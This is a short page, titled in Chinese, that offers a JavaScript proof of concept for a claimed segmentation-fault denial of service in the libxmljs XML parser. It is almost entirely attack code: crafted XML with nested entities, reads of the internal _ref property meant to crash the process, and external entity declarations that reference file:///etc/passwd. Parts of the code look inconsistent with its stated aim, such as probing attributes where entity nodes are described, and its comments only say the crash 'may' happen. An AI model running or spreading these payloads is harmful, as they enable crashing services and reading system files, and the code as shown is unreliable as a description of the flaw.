CVE-2025-25341: libxmljs XML解析段错误拒绝服务漏洞

const libxmljs = require('libxmljs'); // PoC for CVE-2025-25341: libxmljs segmentation fault via _ref property access // This PoC demonstrates the vulnerability in entity_ref and entity_decl nodes function triggerSegfault() { try { // Crafted XML with entity references and declarations const maliciousXml = `<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY test "test value"> <!ENTITY nested "&test; &test;"> ]> <root> <item>&test;</item> <nested>&nested;</nested> </root>`; const doc = libxmljs.parseXml(maliciousXml); // Try to access internal _ref property on entity nodes const root = doc.root(); const children = root.childNodes(); for (const child of children) { // Attempt to trigger the vulnerability by accessing _ref if (child.type() === 'element') { const refs = child.find('.//@*'); for (const ref of refs) { try { // This access may trigger the segfault const internalRef = ref._ref; } catch (e) { // Handle potential error } } } } console.log('Parsing completed without crash'); } catch (error) { console.error('Error occurred:', error.message); } } // Alternative PoC with direct entity manipulation function triggerSegfaultAlt() { const xmlWithEntities = ` <!DOCTYPE test [ <!ENTITY % evil SYSTEM "file:///etc/passwd"> <!ENTITY x SYSTEM "file:///etc/passwd"> ]> <root>&x;</root>`; const doc = libxmljs.parseXml(xmlWithEntities); const entities = doc.getDtd()?.entities(); if (entities) { for (const entity of entities) { // Accessing _ref on entity_decl may trigger the vulnerability try { const ref = entity._ref; } catch (e) {} } } } triggerSegfault(); triggerSegfaultAlt();